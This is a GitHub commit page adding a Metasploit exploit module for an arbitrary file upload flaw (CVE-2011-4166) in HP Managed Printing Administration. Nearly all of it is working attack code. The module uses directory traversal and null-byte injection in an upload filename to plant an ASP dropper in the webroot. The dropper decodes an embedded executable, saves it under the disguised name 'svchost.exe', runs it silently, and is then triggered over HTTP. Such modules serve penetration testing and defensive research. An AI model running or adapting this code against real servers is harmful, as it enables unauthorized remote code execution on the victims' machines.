Skip to content

Commit b90e1d5

Browse files
committed
Land rapid7#2117 - HP Managed Printing Administration jobAcct Command Exec
2 parents e51f1fc + 280529f commit b90e1d5

File tree

1 file changed

+254
-0
lines changed

1 file changed

+254
-0
lines changed
Lines changed: 254 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,254 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Exploit::EXE
15+
16+
def initialize
17+
super(
18+
'Name' => 'HP Managed Printing Administration jobAcct Remote Command Execution',
19+
'Description' => %q{
20+
This module exploits an arbitrary file upload vulnerability on HP Managed Printing
21+
Administration 2.6.3 (and before). The vulnerability exists in the UploadFiles()
22+
function from the MPAUploader.Uploader.1 control, loaded and used by the server.
23+
The function can be abused via directory traversal and null byte injection in order
24+
to achieve arbitrary file upload. In order to exploit successfully, a few conditions
25+
must be met: 1) A writable location under the context of Internet Guest Account
26+
(IUSR_*), or Everyone is required. By default, this module will attempt to write to
27+
/hpmpa/userfiles/, but you may specify the WRITEWEBFOLDER datastore option to provide
28+
another writable path. 2) The writable path must also be readable by a browser,
29+
this typically means a location under wwwroot. 3) You cannot overwrite a file with
30+
the same name as the payload.
31+
},
32+
'Author' => [
33+
'Andrea Micalizzi', # aka rgod - Vulnerability Discovery
34+
'juan vazquez' # Metasploit module
35+
],
36+
'Platform' => 'win',
37+
'References' =>
38+
[
39+
['CVE', '2011-4166'],
40+
['OSVDB', '78015'],
41+
['BID', '51174'],
42+
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-352/'],
43+
['URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03128469']
44+
],
45+
'Targets' =>
46+
[
47+
[ 'HP Managed Printing Administration 2.6.3 / Microsoft Windows [XP SP3 | Server 2003 SP2]', { } ],
48+
],
49+
'DefaultTarget' => 0,
50+
'Privileged' => false,
51+
'DisclosureDate' => 'Dec 21 2011'
52+
)
53+
54+
register_options(
55+
[
56+
OptString.new('WRITEWEBFOLDER', [ false, "Additional Web location with file write permissions for IUSR_*" ])
57+
], self.class)
58+
end
59+
60+
def peer
61+
return "#{rhost}:#{rport}"
62+
end
63+
64+
def webfolder_uri
65+
begin
66+
u = datastore['WRITEWEBFOLDER']
67+
u = "/" if u.nil? or u.empty?
68+
URI(u).to_s
69+
rescue ::URI::InvalidURIError
70+
print_error "Invalid URI: #{datastore['WRITEWEBFOLDER'].inspect}"
71+
return "/"
72+
end
73+
end
74+
75+
def to_exe_asp(exes = '')
76+
77+
var_func = Rex::Text.rand_text_alpha(rand(8)+8)
78+
var_stream = Rex::Text.rand_text_alpha(rand(8)+8)
79+
var_obj = Rex::Text.rand_text_alpha(rand(8)+8)
80+
var_shell = Rex::Text.rand_text_alpha(rand(8)+8)
81+
var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8)
82+
var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8)
83+
var_basedir = Rex::Text.rand_text_alpha(rand(8)+8)
84+
85+
var_f64name = Rex::Text.rand_text_alpha(rand(8)+8)
86+
arg_b64string = Rex::Text.rand_text_alpha(rand(8)+8)
87+
var_length = Rex::Text.rand_text_alpha(rand(8)+8)
88+
var_out = Rex::Text.rand_text_alpha(rand(8)+8)
89+
var_group = Rex::Text.rand_text_alpha(rand(8)+8)
90+
var_bytes = Rex::Text.rand_text_alpha(rand(8)+8)
91+
var_counter = Rex::Text.rand_text_alpha(rand(8)+8)
92+
var_char = Rex::Text.rand_text_alpha(rand(8)+8)
93+
var_thisdata = Rex::Text.rand_text_alpha(rand(8)+8)
94+
const_base64 = Rex::Text.rand_text_alpha(rand(8)+8)
95+
var_ngroup = Rex::Text.rand_text_alpha(rand(8)+8)
96+
var_pout = Rex::Text.rand_text_alpha(rand(8)+8)
97+
98+
vbs = "<%\r\n"
99+
100+
# ASP Base64 decode from Antonin Foller http://www.motobit.com/tips/detpg_base64/
101+
vbs << "Function #{var_f64name}(ByVal #{arg_b64string})\r\n"
102+
vbs << "Const #{const_base64} = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"\r\n"
103+
vbs << "Dim #{var_length}, #{var_out}, #{var_group}\r\n"
104+
vbs << "#{arg_b64string} = Replace(#{arg_b64string}, vbCrLf, \"\")\r\n"
105+
vbs << "#{arg_b64string} = Replace(#{arg_b64string}, vbTab, \"\")\r\n"
106+
vbs << "#{arg_b64string} = Replace(#{arg_b64string}, \" \", \"\")\r\n"
107+
vbs << "#{var_length} = Len(#{arg_b64string})\r\n"
108+
vbs << "If #{var_length} Mod 4 <> 0 Then\r\n"
109+
vbs << "Exit Function\r\n"
110+
vbs << "End If\r\n"
111+
vbs << "For #{var_group} = 1 To #{var_length} Step 4\r\n"
112+
vbs << "Dim #{var_bytes}, #{var_counter}, #{var_char}, #{var_thisdata}, #{var_ngroup}, #{var_pout}\r\n"
113+
vbs << "#{var_bytes} = 3\r\n"
114+
vbs << "#{var_ngroup} = 0\r\n"
115+
vbs << "For #{var_counter} = 0 To 3\r\n"
116+
vbs << "#{var_char} = Mid(#{arg_b64string}, #{var_group} + #{var_counter}, 1)\r\n"
117+
vbs << "If #{var_char} = \"=\" Then\r\n"
118+
vbs << "#{var_bytes} = #{var_bytes} - 1\r\n"
119+
vbs << "#{var_thisdata} = 0\r\n"
120+
vbs << "Else\r\n"
121+
vbs << "#{var_thisdata} = InStr(1, #{const_base64}, #{var_char}, vbBinaryCompare) - 1\r\n"
122+
vbs << "End If\r\n"
123+
vbs << "If #{var_thisdata} = -1 Then\r\n"
124+
vbs << "Exit Function\r\n"
125+
vbs << "End If\r\n"
126+
vbs << "#{var_ngroup} = 64 * #{var_ngroup} + #{var_thisdata}\r\n"
127+
vbs << "Next\r\n"
128+
vbs << "#{var_ngroup} = Hex(#{var_ngroup})\r\n"
129+
vbs << "#{var_ngroup} = String(6 - Len(#{var_ngroup}), \"0\") & #{var_ngroup}\r\n"
130+
vbs << "#{var_pout} = Chr(CByte(\"&H\" & Mid(#{var_ngroup}, 1, 2))) + _\r\n"
131+
vbs << "Chr(CByte(\"&H\" & Mid(#{var_ngroup}, 3, 2))) + _\r\n"
132+
vbs << "Chr(CByte(\"&H\" & Mid(#{var_ngroup}, 5, 2)))\r\n"
133+
vbs << "#{var_out} = #{var_out} & Left(#{var_pout}, #{var_bytes})\r\n"
134+
vbs << "Next\r\n"
135+
vbs << "#{var_f64name} = #{var_out}\r\n"
136+
vbs << "End Function\r\n"
137+
138+
vbs << "Sub #{var_func}()\r\n"
139+
vbs << "#{var_bytes} = #{var_f64name}(\"#{Rex::Text.encode_base64(exes)}\")\r\n"
140+
vbs << "Dim #{var_obj}\r\n"
141+
vbs << "Set #{var_obj} = CreateObject(\"Scripting.FileSystemObject\")\r\n"
142+
vbs << "Dim #{var_stream}\r\n"
143+
vbs << "Dim #{var_tempdir}\r\n"
144+
vbs << "Dim #{var_tempexe}\r\n"
145+
vbs << "Dim #{var_basedir}\r\n"
146+
vbs << "Set #{var_tempdir} = #{var_obj}.GetSpecialFolder(2)\r\n"
147+
148+
vbs << "#{var_basedir} = #{var_tempdir} & \"\\\" & #{var_obj}.GetTempName()\r\n"
149+
vbs << "#{var_obj}.CreateFolder(#{var_basedir})\r\n"
150+
vbs << "#{var_tempexe} = #{var_basedir} & \"\\\" & \"svchost.exe\"\r\n"
151+
vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe},2,0)\r\n"
152+
vbs << "#{var_stream}.Write #{var_bytes}\r\n"
153+
vbs << "#{var_stream}.Close\r\n"
154+
vbs << "Dim #{var_shell}\r\n"
155+
vbs << "Set #{var_shell} = CreateObject(\"Wscript.Shell\")\r\n"
156+
157+
vbs << "#{var_shell}.run #{var_tempexe}, 0, false\r\n"
158+
vbs << "End Sub\r\n"
159+
160+
vbs << "#{var_func}\r\n"
161+
vbs << "%>\r\n"
162+
vbs
163+
end
164+
165+
def upload(contents, location)
166+
post_data = Rex::MIME::Message.new
167+
post_data.add_part("upload", nil, nil, "form-data; name=\"upload\"")
168+
post_data.add_part(contents, "application/octet-stream", "binary", "form-data; name=\"uploadfile\"; filename=\"..\\../../wwwroot#{location}\x00.tmp\"")
169+
data = post_data.to_s
170+
data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
171+
172+
res = send_request_cgi({
173+
'uri' => normalize_uri("hpmpa", "jobAcct", "Default.asp"),
174+
'method' => 'POST',
175+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
176+
'data' => data,
177+
'encode_params' => false,
178+
'vars_get' => {
179+
'userId' => rand_text_numeric(2+rand(2)),
180+
'jobId' => rand_text_numeric(2+rand(2))
181+
}
182+
})
183+
return res
184+
end
185+
186+
def check
187+
res = send_request_cgi({'uri' => normalize_uri("hpmpa", "home", "Default.asp")})
188+
version = nil
189+
if res and res.code == 200 and res.body =~ /HP Managed Printing Administration/ and res.body =~ /<dd>v(.*)<\/dd>/
190+
version = $1
191+
else
192+
return Exploit::CheckCode::Safe
193+
end
194+
195+
vprint_status("HP MPA Version Detected: #{version}")
196+
197+
if version <= "2.6.3"
198+
return Exploit::CheckCode::Appears
199+
end
200+
201+
return Exploit::CheckCode::Safe
202+
203+
end
204+
205+
def exploit
206+
# Generate the ASP containing the EXE containing the payload
207+
exe = generate_payload_exe
208+
# Not using Msf::Util::EXE.to_exe_asp because the generated vbs is too long and the app complains
209+
asp = to_exe_asp(exe)
210+
211+
#
212+
# UPLOAD
213+
#
214+
asp_name = "#{rand_text_alpha(5+rand(3))}.asp"
215+
locations = [
216+
"/hpmpa/userfiles/images/printers/",
217+
"/hpmpa/userfiles/images/backgrounds/",
218+
"/hpmpa/userfiles/images/",
219+
"/hpmpa/userfiles/",
220+
"/"
221+
]
222+
223+
locations << normalize_uri(webfolder_uri, asp_name) if datastore['WRITEWEBFOLDER']
224+
225+
payload_url = ""
226+
227+
locations.each {|location|
228+
asp_location = location + asp_name
229+
print_status("#{peer} - Uploading #{asp.length} bytes to #{location}...")
230+
res = upload(asp, asp_location)
231+
if res and res.code == 200 and res.body =~ /Results of Upload/ and res.body !~ /Object\[formFile\]/
232+
print_good("#{peer} - ASP Payload successfully wrote to #{location}")
233+
payload_url = asp_location
234+
break
235+
elsif res and res.code == 200 and res.body =~ /Results of Upload/ and res.body =~ /Object\[formFile\]/
236+
print_error("#{peer} - Error probably due to permissions while writing to #{location}")
237+
else
238+
print_error("#{peer} - Unknown error while while writing to #{location}")
239+
end
240+
}
241+
242+
if payload_url.empty?
243+
fail_with(Exploit::Failure::NotVulnerable, "#{peer} - Failed to upload ASP payload to the target")
244+
end
245+
246+
#
247+
# EXECUTE
248+
#
249+
print_status("#{peer} - Executing payload through #{payload_url}...")
250+
send_request_cgi({ 'uri' => payload_url})
251+
end
252+
253+
end
254+

0 commit comments

Comments
 (0)